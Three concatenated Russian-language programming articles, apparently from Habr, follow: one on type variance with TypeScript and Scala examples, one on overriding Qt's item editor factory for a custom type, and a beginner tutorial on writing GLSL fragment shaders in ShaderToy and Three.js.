Есть несколько типов чисел и их можно расположить в следующей иерархии:
1. Натуральные числа N
* N натуральные числа, включая ноль: {0, 1, 2, 3, … }
* N\* натуральные числа без нуля: {1, 2, 3, … }
2. Целые числа Z - обладают знаком (+/-) включают в себя натуральные
3. Рациональные числа Q - дроби (два целых числа), включают в себя все бесконечное множество Z
4. Вещественные числа R - это и рациональные и иррациональные числа (например ПИ, e, …)
5. Комплексные числа C - числа вида a+bi, где a,b - вещественные числа, а i - мнимая единица
Давай те рассмотрим более подробно:
Числа мы можем условно расположить согласно такой иерархии
* any - любой тип данных
+ number - некое число
- int - целое число
- double - (приближенное) дробное число
+ string - строка
так мы можем в языке TypeScript написать функции
```
function sum_of_int( a:int, b:int ) : int { return a+b; }
function sum_of_double( a:double, b:double ) : double { return a+b; }
function compare_equals( a:number, b:number ) : boolean { a==b }
```
в случае
```
let res1 : int = sum_of_int( 1, 2 )
```
Это будет случай **инвариантного** присваивания, т.к. типы полностью совпадают - результат вызова int, и переменная которая принимает результат то же int.
Рассмотрим случай **ко-вариантного** присваивания
```
let res1 : number = sum_of_int( 1, 2 )
res1 = sum_of_double( 1.2, 2.3 )
```
В данном примере res1 - это тип number.
В первом вызове res1 = sum\_of\_int( 1, 2 ), переменная res1 примет данные типа int, и это корректно, т.к. int это подтип number и по определению сохраняются все свойства и методы класса number
Во втором вызове res1 = sum\_of\_double( 1.2, 2.3 ) - переменная res1 примет данные типа double и это тоже корректно, так же по определению
О каких же операциях говорят что сохраняются? а все те же, мы все так же как и в первом, так и во втором случае можем выполнить операции проверки на равенство и д.р. для переменной res1:
```
let res1 : number = sum_of_int( 1, 2 )
let res2 : number = sum_of_doube( 1.2, 2.3 )
if( compare_equals(res1, res2) ){
...
}
```
ок, это работает, но компилятор нам нужен чтоб он за нас решал проблемы с типами, рассмотрим еще более “выпуклый” пример
Допустим у нас есть фигуры: прямоугольник Box и круг Circle
```
class Box {
width : number
height : number
constructor( w: number, h: number ){
this.width = w;
this.height = h;
}
}
class Circle {
radius : number
constructor( r: number ){
this.radius = r
}
}
```
И нам надо подсчитать сумму площадей, прямоугольники можно хранить в одном массиве, а круги в другом
```
let boxs : Box[] = [ new Box(1,1), new Box(2,2) ]
let circles : Circle[] = [ new Circle(1), new Circle(2) ]
```
Мы напишем 2 функции по подсчету площади, одну для прямоугольников, другую для кругов
```
function areaOfBox( shape:Box ):number { return shape.width * shape.height }
function areaOfCircle( shape:Circle ):number { return shape.radius * shape.radius * Math.PI }
```
Тогда для подсчета общей суммы площадей код будет примерно таким:
```
boxs.map( areaOfBox ).reduce( (a,b,idx,arr)=>a+b ) +
circles.map( areaOfCircle ).reduce( (a,b,idx,arr)=>a+b )
```
Все выше выглядит ужасно, если вы знакомы с ООП или/и с базовой логикой (родовые, видовые понятия).
Первое, что должно броситься в глаза - так это что свойство *площадь* применимо к обеим фигурам, а для подсчета суммы площадей, нет прямой необходимости как-то различать типы фигур.
А по сему можно выделить общее абстрактное понятие *Фигура* и добавить в это абстрактное метод/свойство - area():number.
```
interface Shape {
area():number
}
```
Вторым шагом, это указать что классы Box и Circle реализуют интерфейс Shape, и перенести areaOfBox, areaOfCircle как реализацию area.
```
class Box implements Shape {
width : number
height : number
constructor( w: number, h: number ){
this.width = w;
this.height = h;
}
area():number {
return this.width * this.height
}
}
class Circle implements Shape {
radius : number
constructor( r: number ){
this.radius = r
}
area():number {
return this.radius * this.radius * Math.PI
}
}
```
Теперь нет необходимости разделять прямоугольники и круги в разные массивы, и писать сложный код
```
let shapes : Shape[] = [ new Box(1,1), new Box(2,2), new Circle(1), new Circle(2) ]
shapes.map( s => s.area() ).reduce( (a,b,idx,arr)=>a+b )
```
И в данном примере, *ко-вариантность* проявляется в инициализации массива
Массив определен как массив элементов типа Shape, мы инициализируем (т.е. присваиваем начальное значение) элементами другого типа под типа (Box, Circle).
Ключевой момент в том, что Box и Circle реализуют необходимые свойства и методы которые требует интерфейс Shape.
Компилятор отслеживает что присваиваемые значения реализуют заданное соглашение, т.е.
Компилятор по факту отслеживает конструкцию `let a = b`, и возможны несколько сценариев:
1. переменная a и b - одного типа, тогда **инвариантная** операция присвоения
2. переменная a является базовым типом, а переменная b - подтипом переменной a - тогда **ко-вариантная** операция присвоения
3. переменная a является подтипом переменной b, а переменная b - базовым (родительским) типом - тогда это **контр-вариантная** операция - и обычно компилятор блокирует такое поведение.
4. между переменными a и b - нет общих связей - и тут компилятор блокирует то же поведение.
И вот пример, по пробуем добавить еще один класс который не реализует интерфейс Shape
```
class Foo {
}
let shapes : Shape[] = [ new Box(1,1), new Box(2,2), new Circle(1), new Circle(2), new Foo() ]
shapes.map( s => s.area() ).reduce( (a,b,idx,arr)=>a+b )
```
Результат компиляции - следующая ошибка:
```
> tsc index.ts
index.ts:31:84 - error TS2741: Property 'area' is missing in type 'Foo' but required in type 'Shape'.
31 let shapes : Shape[] = [ new Box(1,1), new Box(2,2), new Circle(1), new Circle(2), new Foo() ]
~~~~~~~~~
index.ts:2:5
2 area():number
~~~~~~~~~~~~~
'area' is declared here.
Found 1 error.
```
Для типа Foo не найдено свойство area, которое определенно в типе Shape.
Тут уместно упомянуть о SOLID
L - LSP - Принцип подстановки Лисков (Liskov substitution principle): «объекты в программе должны быть заменяемыми на экземпляры их подтипов без изменения правильности выполнения программы». См. также [контрактное программирование](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
### Контр-вариантность
Контр-вариантность, уже сложнее объяснить, для меня примеры с длегатами действовали на нервы, я же разобрался на примере с лямбд.
В качестве примера, возьму язык Scala и подробно попытаюсь его разобрать:
```
package xyz.cofe.sample.inv
object App {
// Функция, на вход String, на выход Boolean, или кратко: (String)=>Boolean
def strCmp(a:String):Boolean = a.contains("1")
// Функция, на вход Int, на выход Boolean, или кратко: (Int)=>Boolean
def intCmp(a:Int):Boolean = a==1
// Функция, на вход String, на выход Boolean, или кратко: (Any)=>Boolean
def anyCmp(a:Any):Boolean = true
def main(args:Array[String]):Unit = {
// Инвариантное присвоение Boolean = Boolean
val call1 : Boolean = strCmp("a")
// Ко-вариантное присвоение Any = Boolean
val call2 : Any = strCmp("b")
// Инвариантное присвоение: (String)=>Boolean = (String)=>Boolean
val cmp1 : (String)=>Boolean = App.strCmp;
// Ко-вариантное присвоение (String)=>Boolean = (Any)=>Boolean
val cmp2 : (String)=>Boolean = App.anyCmp
// Инвариантное присвоение: (String)=>Boolean = (String)=>Boolean
val cmp3 : (Any)=>Boolean = App.anyCmp
// !!!!!!!!!!!!!!!!!!!!!!!
// Тут будет ошибка
// Контр-вариантное присвоение (Any)=>Boolean = (String)=>Boolean
val cmp4 : (Any)=>Boolean = App.strCmp
}
}
```
Что нужно знать о Scala:
* Тип `Any` - это базовый тип для всех типов данных
* Тип `Int, Boolean, String` - это подтипы `Any`
* Лямбды то же являются типами, в смысле типы их аргументов и результатов проверяет компилятор
* Тип лямбды записывается в следующей форме: `(тип_аргументов,через_запятую)=>тип_результата`
* Любой метод с легкостью преобразуется в лямбду `переменная = класс.метод` / `переменная = объект.метод`
* `val` в Scala, то же что и `const` в JS
В примере мы можем увидеть уже знакомые
**Инвариантность** в присвоении переменных:
```
// Инвариантное присвоение Boolean = Boolean
val call1 : Boolean = strCmp("a")
// Инвариантное присвоение: (String)=>Boolean = (String)=>Boolean
val cmp1 : (String)=>Boolean = App.strCmp;
```
cmp1 - это переменная содержащая лямбду, при том аргументы и результат которые заданы в определении типа лямбды, полностью совпадают с присваемым значением:
```
Ожидаемый тип (String)=>Boolean
Присваемый тип (String)=>Boolean
```
**Ко-вариантность**
```
// Ко-вариантное присвоение Any = Boolean
val call2 : Any = strCmp("b")
// Ко-вариантное присвоение (String)=>Boolean = (Any)=>Boolean
val cmp2 : (String)=>Boolean = App.anyCmp
```
Если в случае присвоения call2, тут все понятно, то может быть непонятно с cmp2.
```
Ожидаемый тип (String) => Boolean
Присваемый тип (Any) => Boolean
```
Внезапно отношение String -> к -> Any становится другим - контр-вариантным.
В этом месте, уместно задаться WTF? - Все нормально!
Рассмотрим функции выше
```
// Функция, на вход String, на выход Boolean, или кратко: (String)=>Boolean
def strCmp(a:String):Boolean = a.contains("1")
// Функция, на вход String, на выход Boolean, или кратко: (Any)=>Boolean
def anyCmp(a:Any):Boolean = true
```
При вызове `cmp2( "abc" )` аргумент `"abc"` будет передан в `anyCmp(a:Any)`, а по скольку String является под типом Any, то аргумент не дано преобразовывать и можно передать как есть.
Иначе говоря вызов `anyCmp( "string" )` и `anyCmp( 1 )`, `anyCmp( true )` - со стороны проверки типов допустимы операции, по скольку
* принимаемые аргументы являются подтипами для принимающей стороны, тела функции
* тип принимаемого аргумента является родительским типом (надтипом) со стороны вызова функции
Т.е. можно при передаче аргументов, действуют *ко-вариантность* со стороны принимающей, а со стороны передающей *контр-вариантность*.
Еще более наглядно это можно выразить стрелками:
Операция присвоения должна быть ко-вариантна или инвариантна
```
assign a <- b
```
А операция вызова функции на оборот - контр-варианта или инвариантна
```
call a -> b
```
Этим правилом руководствуются многие компиляторы, и они определяют функции так:
* Операции передачи **аргументов** в функции по умолчанию являются **контр-вариантны**, со стороны вызова функции
* Операции присвоения **результат** вызова функции по умолчанию является **ко-вариантны**, со стороны вызова функции
Я для себя запомню так
#### Почему Scala, а не TypeScript
К моему удивлению TypeScript версии 4.2.4 не отрабатывает контр-вариантность в случае функций/лямбд
Вот мой исходник
```
interface Shape {
area():number
}
class Box implements Shape {
width : number
height : number
constructor( w: number, h: number ){
this.width = w;
this.height = h;
}
area():number {
return this.width * this.height
}
}
class Circle implements Shape {
radius : number
constructor( r: number ){
this.radius = r
}
area():number {
return this.radius * this.radius * Math.PI
}
}
class Foo {
}
const f1 : (number)=> boolean = a => true;
const f2 : (object)=> boolean = a => typeof(a)=='function';
const f3 : (any)=>boolean = f1;
const f4 : (number)=>boolean = f3;
const _f1 : (Box)=>boolean = a => true
const _f2 : (any)=>boolean = _f1
const _f3 : (Shape)=>boolean = _f1
```
В строке `const f3 : (any)=>boolean = f1;` и в `const _f3 : (Shape)=>boolean = _f1` (а так же предыдущей) компилятор по моей логике должен был ругаться, но он этого не делал
```
user@user-Modern-14-A10RB:03:14:17:~/code/blog/itdocs/code-skill/types:
> ./node_modules/.bin/tsc -version
Version 4.2.4
user@user-Modern-14-A10RB:03:16:53:~/code/blog/itdocs/code-skill/types:
> ./node_modules/.bin/tsc --strictFunctionTypes index.ts
user@user-Modern-14-A10RB:03:18:26:~/code/blog/itdocs/code-skill/types:
> ./node_modules/.bin/tsc --alwaysStrict index.ts
user@user-Modern-14-A10RB:03:19:04:~/code/blog/itdocs/code-skill/types:
```
Потому пришлось взять язык с более жесткой проверкой типов, надеюсь в новых версиях исправят этот баг.
### Ко-вариантность/Контр-вариантность и типы
Еще одна важная оговорка связанная с типами и ООП.
---
**Вариантность** это не только про иерархию наследования!
---
В примере о прямоугольнике и круге, я целенаправленно задействовал интерфейсы, хотя обычно используют общий базовый класс.
Ко-Вариантность - это такое качество операции присвоения, когда целевой тип переменной **совместим** с исходным типом значения.
**Контр-вариантность** - ровно та же ситуация с противоположным знаком.
Тут надо дать пояснение слова **совместимость**
Пример с кругами и прямоугольниками может быть написан на языке C или ассемблера, или JS ранних версий, в которых нет понятия классов, но при этом оно все так же будет работать.
ООП с наследованием - это всего лишь способ, задать иерархию реальных типов объектов.
В ряде языков был введен запрет на множественное наследование, и это я не могу назвать большим достижением, оно порождает проблемы.
Например я могу выстроить разные наборы иерархий для одних и тех же сущностей:
Например:
* Человек (общий класс)
+ Национальность (под класс)
- Социальный статус (под класс)
или наоборот
* Человек (общий класс)
+ Пол (под класс)
- Социальный статус (под класс)
Это я клоню к тому, что для одной и той же сущности может существовать множество способов квалификации.
И один из подходов - эту сложную сущность (как например человек) можно рассматривать с различных сторон - и вот уже эти стороны можно выделить в виде интерфейсов.
А уже в рамках того или иного интерфейса описывать интересующие свойства и методы для решения практических задач.
**Вариантность** - это в первую очередь наличие интересующих нах свойств/методов для наших задач. И это механизм контроля со стороны компилятора, для гарантии наличия этих свойств.
Так, например тот или иной объект может быть не только каким либо под классом, но и реализовывать (через интерфейсы) интересующие нас свойства/методы - именно это я понимаю под словом **совместимость**.
Далее можно вести разговор о множественном наследовании, трейтах, и прочих прелястях современных языков, но это уже выходит за рамки темы. | https://habr.com/ru/post/560936/ | null | ru | null |
# Подземелья Qt: Рецепты приготовления монстров (Часть 1. Редактирование разнородных данных)
Всякому профессиональному разработчику приложений, использующему Qt, довольно часто приходится использовать связку model/delegate/view для различных манипуляций с данными. Основные детали этого шаблона хорошо описаны в стандартном [руководстве](http://doc.qt.io/qt-5/model-view-programming.html) на эту тему, однако, часто приходится сталкиваться с ситуацией, когда стандартное поведение необходимо расширить или дополнить под конкретные нужды. Обычно, тут и начинается то, за что мы все любим программирование — поездка на любимых самокатах и рикшах — придумывается собственное решение. Именно в этот момент внутренний голос должен бы нас остановить, но мы ловко парируем: «Я уже смотрел, документации много — читать долго, сроки поджимают и еще масса других дел. А главное, не ясно откуда начинать искать». Именно поэтому, любой уважающий себя разработчик должен иметь под рукой собственноручно собранные и опробованные рецепты и стараться пополнять свою коллекцию.
Постановка задачи
-----------------
Создадим черновик простого редактора разнородных данных на основе QAbstractTableModel и добавим пользовательский тип evilType (да-да, именно этот тип требует дополнительных ухищрений).
Как правило, у этой задачи есть два решения:
1. Переопределить функцию createEditor у QAbstractItemDelegate или его производных
2. Добавить собственный редактор для пользовательского типа и переопределить стандартную фабрику редакторов QDefaultItemEditorFactory
Минусы первого подхода состоят в том, что если у нас несколько видов и делегатов к ним, что, как правило, и есть в случае мало-мальски сложной программы, то нужно дублировать код createEditor для различных делегатов.
Минусы второго подхода — переопределение стандартной фабрики редакторов ведет к потере фабрики QDefaultItemEditorFactory и, соответственно, необходимости повторной регистрации стандартных редакторов в нашей фабрике.
Наш самокат
-----------
Гибридный класс, содержащий в себе стандартную фабрику и переопределяющий createEditor для пользовательских типов.
**Код**
```
void overrideEditorFactory(void)
{
class OverridenEditorFactory : public QItemEditorFactory
{
public:
explicit OverridenEditorFactory(const QItemEditorFactory* dFactory)
: _dFactory(dFactory)
{
auto creator = new QStandardItemEditorCreator();
const auto evilTypeID = QVariant::fromValue(evilType()).userType();
registerEditor(evilTypeID, creator);
}
QWidget\* createEditor(int userType, QWidget \*parent) const
{
const auto evilTypeID = QVariant::fromValue(evilType()).userType();
if(evilTypeID == userType)
{
return QItemEditorFactory::createEditor(userType, parent);
}
return \_dFactory->createEditor(userType, parent);
}
private:
const QItemEditorFactory\* \_dFactory;
};
QItemEditorFactory::setDefaultFactory(new OverridenEditorFactory(QItemEditorFactory::defaultFactory()));
}
```
Таким образом, перед использованием нужно вызвать функцию переопределяющую стандартную фабрику. И теперь пользовательский тип везде будет редактироваться согласно наших пожеланий.
Заключение
----------
Код в основном иллюстративный, поэтому отдельные моменты можно улучшить. но основной подход — минимализм кода и легкость масштабирования на множество отображений при использовании различных делегатов сохранена.
Полный код проекта на [github](https://github.com/xseven/toy-projects/tree/master/QtDungeons). | https://habr.com/ru/post/276419/ | null | ru | null |
# Создание шейдеров
Освоить создание графических шейдеров — это значит взять под свой контроль всю мощь видепроцессора с его тысячами параллельно работающих ядер. При таком способе программирования требуется другой образ мышления, но раскрытие его потенциала стоит потраченных усилий.
Практически в любой современной графической симуляции используется код, написанный для видеопроцессора: от реалистичных эффектов освещения в высокотехнологичных AAA-играх до двухмерных эффектов постпроцессинга и симуляции жидкостей.
*Сцена из Minecraft, до и после добавления [нескольких шейдеров](http://www.minecraftforum.net/forums/mapping-and-modding/minecraft-mods/1280299-sonic-ethers-unbelievable-shaders-v10-1).*
Задача этого туториала
----------------------
Иногда программирование шейдеров представляется загадочной чёрной магией и его часто понимают неправильно. Существует множество примеров кода, демонстрирующих создание невероятных эффектов, но в которых практически нет объяснений. В своём руководстве я хочу восполнить этот пробел. Я сосредоточусь в основном на базовых принципах создания и понимания кода шейдеров, чтобы вы смогли с лёгкостью настраивать, сочетать или писать свои собственные шейдеры с нуля!
Это общее руководство, поэтому всё изученное в нём можно применять в любой технологии, использующей шейдеры.
Что же такое шейдер?
--------------------
Шейдер — это просто программа, выполняемая в графическом конвейере. Она сообщает компьютеру, как рендерить каждый пиксель. Эти программы называются шейдерами («затенителями»), потому что их часто используют для управления эффектами [освещения](https://www.youtube.com/watch?v=G8-ivm3iuKc) и [затенения](http://threejs.org/examples/#webgl_materials_normaldisplacementmap), но ничего не мешает использовать их и для других спецэффектов.
Шейдеры пишут на специальном языке шейдеров. Не волнуйтесь, вам не придётся изучать совершенно новый язык: мы будем использовать GLSL (OpenGL Shading Language), который похож на C. (Существует несколько [языков написания шейдеров](http://en.wikipedia.org/wiki/Shading_language) для разных платформ, но поскольку все они адаптированы под выполнение в видеопроцессоре, то похожи друг на друга.)
***Примечание: эта статья посвящена исключительно фрагментным шейдерам (fragment shader). Если вам любопытно, какие ещё виды шейдеров бывают, то можно почитать о [различных этапах графического конвейера](https://www.khronos.org/opengl/wiki/Shader#Stages) в OpenGL Wiki.***
Приступаем!
-----------
В этом туториале мы будем использовать [ShaderToy](https://www.shadertoy.com/). Он позволяет нам начать программировать шейдеры прямо в браузере, без возни с установкой и настройкой! (Для рендеринга он использует WebGL, поэтому требуется браузер с поддержкой этой технологии.) [Создавать учётную запись](https://www.shadertoy.com/signin) не обязательно, но удобно для сохранения кода.
*Примечание:* на момент написания статьи ShaderToy находился в состоянии беты *[прим. пер.: статья написана в 2015 году]*. Некоторые детали интерфейса/синтаксиса могут немного отличаться.
Нажав на [New Shader](https://www.shadertoy.com/new), вы увидите что-то вроде этого:
Если вы не зарегистрировались, интерфейс может немного отличаться.
Маленькая чёрная стрелка внизу служит для компиляции кода.
Что происходит?
---------------
Я собираюсь описать то, как работают шейдеры, одним предложением. Приготовились? Вот оно!
*Единственное предназначение шейдера — возврат четырёх чисел:*`*r*`*,* `*g*`*,* `*b*` *и* `*a*`*.*
Именно это, и только это может делать шейдер. Функция выполняется для каждого пикселя на экране. Она возвращает эти четыре цветовых значения, которые становятся цветом пикселя. Это то, что называется *пиксельным шейдером* (иногда его называют *фрагментным шейдером*).
Запомнив это, давайте зальём экран сплошным красным цветом. Значения RGBA (red, green, blue и alpha, определяющая прозрачность) меняются от `0` до `1`, поэтому единственное, что нужно сделать — вернуть `r,g,b,a = 1,0,0,1`. ShaderToy ожидает, что окончательный цвет пикселя будет храниться в `fragColor`.
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
fragColor = vec4(1.0,0.0,0.0,1.0);
}
```
Поздравляю! Вот ваш первый готовый шейдер!
**Задача:** Попробуйте изменить цвет на сплошной серый.
`vec4` — это просто тип данных, поэтому мы могли бы объявить цвет как переменную, вот так:
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec4 solidRed = vec4(1.0,0.0,0.0,1.0);
fragColor = solidRed;
}
```
Выглядит не очень вдохновляюще. У нас есть мощь, способная выполнять код для *сотен тысяч* пикселей одновременно, а мы закрашиваем их одним цветом.
Давайте попробуем отрендерить на экране градиент. Мы не сможем добиться многого, не зная пары вещей о пикселях, на которые мы влияем, например, об их положении на экране…
Входные данные шейдера
----------------------
Пиксельный шейдер передаёт несколько [переменных](https://www.opengl.org/wiki/Built-in_Variable_(GLSL)#Fragment_shader_inputs), которые мы можем использовать. Самая полезная — это `fragCoord`, содержащая координаты X и Y пикселя (и Z, если вы работаете в 3D). Давайте попробуем превратить все пиксели в левой части экрана в чёрные, а все пиксели справа — в красные:
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec2 xy = fragCoord.xy; //Получаем координаты текущего пикселя
vec4 solidRed = vec4(0,0.0,0.0,1.0);//Теперь он стал чёрным
if(xy.x > 300.0){//Произвольное число, мы не знаем размер экрана!
solidRed.r = 1.0;//Присваиваем красному компоненту значение 1.0
}
fragColor = solidRed;
}
```
*Примечание:* Получить доступ к компонентам любого `vec4` можно с помощью `obj.x`, `obj.y`, `obj.z` и `obj.w` *или* с помощью `obj.r`, `obj.g`, `obj.b`, `obj.a`. Они эквивалентны, это просто удобный способ наименования, упрощающий чтение кода, потому что когда люди видят `obj.r`, то понимают, что `obj` представляет собой цвет.
Вы заметили проблему в приведённом выше коде? Попробуйте нажать на кнопку **go fullscreen** в правом нижнем углу окна предварительного просмотра.
Размеры красной части экрана будут разными и зависят от размера экрана. Чтобы закрасить красным ровно половину экрана, нам нужно знать его размер. Размер экрана *не* является встроенной переменной, как позиция пикселя, потому что обычно он выбирается программистом, создающим приложение. В нашем случае размер экрана устанавливают разработчики ShaderToy.
Если что-то не является встроенной переменной, то можно отправить эту информацию из центрального процессора (из основной программы) в видеопроцессор (в ваш шейдер). ShaderToy берёт эту задачу на себя. Все передаваемые шейдеру переменные указаны во вкладке **Shader Inputs**. Переменные, передаваемые таким образом из ЦП в видеопроцессор, называются в GLSL *uniform (глобальными)*.
Давайте изменим код, чтобы правильно определять центр экрана. Нам нужно использовать входные данные шейдера `iResolution`:
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec2 xy = fragCoord.xy; //Получаем координаты текущего пикселя
xy.x = xy.x / iResolution.x; //Делим координаты на размер экрана
xy.y = xy.y / iResolution.y;
// Теперь x для самого левого пикселя равен 0, а для самого правого равен 1
vec4 solidRed = vec4(0,0.0,0.0,1.0); //Теперь он стал чёрным
if(xy.x > 0.5){
solidRed.r = 1.0; //Присваиваем красному компоненту значение 1.0
}
fragColor = solidRed;
}
```
Если попробовать теперь изменить размер окна предварительного просмотра, то цвета должны точно разделить экран пополам.
От разделения к градиенту
-------------------------
Превратить это в градиент будет довольно просто. Значения цветов изменяются от `0` до `1`, и координаты тоже изменяются от `0` до `1`.
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec2 xy = fragCoord.xy; //Получаем координаты текущего пикселя
xy.x = xy.x / iResolution.x; //Делим координаты на размер экрана
xy.y = xy.y / iResolution.y;
// Теперь x для самого левого пикселя равен 0, а для самого правого равен 1
vec4 solidRed = vec4(0,0.0,0.0,1.0); //Теперь он стал чёрным
solidRed.r = xy.x; //Присваиваем красному компоненту нормализованное значение x
fragColor = solidRed;
}
```
Вуаля!
**Задача:** Можете превратить эту картинку в вертикальный градиент? А как насчёт диагонального? Как насчёт градиента из нескольких цветов?
Если вы поэкспериментируете с кодом, то заметите, что верхний левый угол имеет координаты `(0,1)`, а *не* `(0,0)`. Это важно запомнить.
Отрисовка изображений
---------------------
Экспериментировать с цветами интересно, но если мы хотим сделать что-то впечатляющее, то наш шейдер должен научиться получать в качестве входных данных изображение и изменять его. Таким образом можно получить шейдер, воздействующий на весь игровой экран (например, «подводный» эффект или цветокоррекцию), или воздействовать нужным способом только на определённые объекты (например, для создания реалистичной системы освещения).
Если бы мы программировали на обычной платформе, то нужно было бы передавать видеопроцессору изображение (или текстуру) как *uniform*, точно так же, как мы бы передавали разрешение экрана. ShaderToy позаботится об этом за нас. В нижней части экрана есть четыре входных канала:
*Четыре входных канала ShaderToy*
Нажмите на **iChannel0** и выберите любую текстуру (изображение).
В результате у вас будет изображение, передаваемое шейдеру. Однако есть одна проблема: отсутствие функции `DrawImage()`. Не забывайте, единственное, что может делать пиксельный шейдер — *менять цвет каждого пикселя*.
Если мы можем только возвращать цвет, то как можно нарисовать текстуру на экране? Нам нужно каким-то образом привязать текущий пиксель шейдера к соответствующему пикселю текстуры:
*В зависимости от расположения (0,0) на экране может потребоваться отразить ось Y для правильной привязки текстуры. На момент написания статьи ShaderToy был обновлён и исходная точка находится в левом верхнем углу, так что ничего отражать не требуется.*
Мы можем выполнить привязку с помощью функции `texture(textureData,coordinates)`, получающей на входе данные текстуры и пару координат `(x, y)`, возвращающую как `vec4` цвет текстуры в этих координатах.
Вы можете привязывать координаты к экрану как вам угодно. Можно отрисовать всю текстуру на четверти экрана (пропуская пиксели, то есть уменьшив её масштаб) или просто отрисовать часть текстуры.
Мы хотим только увидеть изображение, поэтому пиксели будут совпадать в масштабе 1:1:
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec2 xy = fragCoord.xy / iResolution.xy;//Соединяем это в одну строку
vec4 texColor = texture(iChannel0,xy);//Получаем от iChannel0 пиксель в координате xy
fragColor = texColor;//Присваиваем экранному пикселю этот цвет
}
```
Так мы получили своё первое изображение!
Теперь, научившись правильно получать данные из текстуры, мы можем делать с ними всё, что угодно! Мы можем растягивать или масштабировать их, экспериментировать с цветами.
Давайте попробуем наложить на изображение градиент, похожий на то, что мы делали раньше:
```
texColor.b = xy.x;
```
Поздравляю, вы только что написали свой первый эффект постпроцессинга!
**Задача:** Сможете написать шейдер, делающий изображение чёрно-белым?
Учтите, что хотя мы и выбрали статичное изображение, всё, что вы видите, выполняется в реальном времени. Чтобы убедиться в этом, замените статичное изображение на видео: нажмите на **iChannel0** и выберите любое видео.
### Добавляем движение
Пока что все наши эффекты были статичными. Мы можем делать гораздо более интересные вещи, воспользовавшись входными данными, предоставляемыми ShaderToy. `iGlobalTime` — это постоянно увеличивающаяся переменная. Мы можем использовать её как начальное число для создания периодических эффектов. Давайте попробуем немного поиграть с цветами:
```
void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
vec2 xy = fragCoord.xy / iResolution.xy; // Соединяем это в одну строку
vec4 texColor = texture(iChannel0,xy); // Получаем от iChannel0 пиксель в координате xy
texColor.r *= abs(sin(iGlobalTime));
texColor.g *= abs(cos(iGlobalTime));
texColor.b *= abs(sin(iGlobalTime) * cos(iGlobalTime));
fragColor = texColor; // Присваиваем экранному пикселю этот цвет
}
```
В GLSL встроены функции синуса и косинуса, а также множество других полезных функций, например, получение длины вектора или расстояния между двумя векторами. Значения цветов не могут быть отрицательными, поэтому нужно получить абсолютное значение с помощью функции `abs`.
**Задача:** Можете ли вы сделать шейдер, меняющий изображение с чёрно-белого на цветное и обратно?
Примечание об отладке шейдеров
------------------------------
При отладке кода можно выполнять его пошагово или выводить на печать значения, но при написании шейдеров это невозможно. Можете поискать инструменты отладки для своей платформы, но в общем случае лучше всего привязать проверяемое значение к какой-то графической информации, которую можно увидеть.
Подводим итог
-------------
Это только самые основы работы с шейдерами, но освоившись с ними, вы сможете добиться гораздо большего. [Посмотрите эффекты ShaderToy](https://www.shadertoy.com/browse) и проверьте, сможете ли вы понять или воспроизвести их!
В этом туториале я не упоминал *вершинные шейдеры (Vertex Shaders)*. Они пишутся на том же языке, но выполняются для каждой вершины, а не пикселя, и возвращают вместе с цветом ещё и положение. Вершинные шейдеры обычно проецируют 3D-сцену на экран (эта функция встроена в большинство графических конвейеров). Пиксельные шейдеры обеспечивают большинство наблюдаемых на экране сложных эффектов, поэтому я рассматриваю их.
**Ещё одна задача:** Сможете ли вы написать шейдер, удаляющий зелёный цвет из видео с ShaderToy и добавляющий другое видео в качестве фона первого видео?
[ShaderToy](https://www.shadertoy.com/), с которым мы работали ранее, отлично подходит для быстрой проверки и экспериментов, но его возможности довольно ограничены. Например, вы не можете контролировать данные, передаваемые шейдеру. Если у нас будет собственная среда для запуска шейдеров, то мы сможем создавать всевозможные интересные эффекты и использовать их в собственных проектах! Для запуска шейдеров в браузере мы будем использовать в качестве фреймворка Three.js. WebGL — это Javascript API, позволяющий рендерить шейдеры, Three.js нужен только для упрощения работы.
Если вам не интересны JavaScript или веб-платформа, не волнуйтесь, мы не будем вдаваться в особенности веб-рендеринга (но если вы хотите узнать о фреймворке больше, то изучите [этот туториал](http://gamedevelopment.tutsplus.com/articles/how-to-learn-threejs-for-game-development--gamedev-11787)). Настройка шейдеров в браузере — самый быстрый способ начать работу, но освоившись с этим процессом, вы сможете с лёгкостью настраивать и использовать шейдеры на любой платформе.
Настройка
---------
В этом разделе мы рассмотрим локальную настройку шейдеров. Вы можете повторять за мной без необходимости скачивать что-то благодаря [этому встроенному виджету CodePen](http://codepen.io/tutsplus/pen/OVxXZE):
Можете [создать форк и отредактировать проект](http://codepen.io/tutsplus/pen/OVxXZE) на CodePen.
### Hello Three.js!
[Three.js](http://threejs.org/) — это JavaScript-фреймворк, который берёт на себя большую часть boilerplate-кода для WebGL, необходимого для рендеринга шейдеров. Проще всего начать с использования [версии, выложенной на CDN](http://cdnjs.com/libraries/three.js/).
Можете скачать [файл HTML](https://github.com/tutsplus/Beginners-Guide-to-Shaders/blob/master/Part2/shader_base.html), который является простой сценой Threejs.
Сохраните файл на диск и откройте его в браузере. Вы должны увидеть чёрный экран. Пока не очень интересно, так что давайте попробуем добавить куб, просто чтобы проверить, что всё работает.
Для создания куба нам нужно определить его геометрию и материал, а затем добавить его в сцену. Добавьте этот фрагмент кода в поле `Add your code here`:
```
var geometry = new THREE.BoxGeometry( 1, 1, 1 );
var material = new THREE.MeshBasicMaterial( { color: 0x00ff00} );// Сделаем его зелёным
var cube = new THREE.Mesh( geometry, material );
// Добавляем куб на экран
scene.add( cube );
cube.position.z = -3;// Сдвигаем куб назад, чтобы его было видно
```
Мы не будем подробно рассматривать куб, потому что нам больше интересен шейдер. Но если всё сделано верно, то вы увидите в центре экрана зелёный куб:
Пока мы здесь, давайте заставим его вращаться. Функция `render` выполняется каждый кадр. Получить доступ к повороту куба можно через `cube.rotation.x` (или `.y`, или `.z`). Попробуйте увеличить значение, чтобы функция рендеринга выглядела так:
```
function render() {
cube.rotation.y += 0.02;
requestAnimationFrame( render );
renderer.render( scene, camera );
}
```
**Задача:** Сможете повращать куб по другой оси? А как насчёт двух осей одновременно?
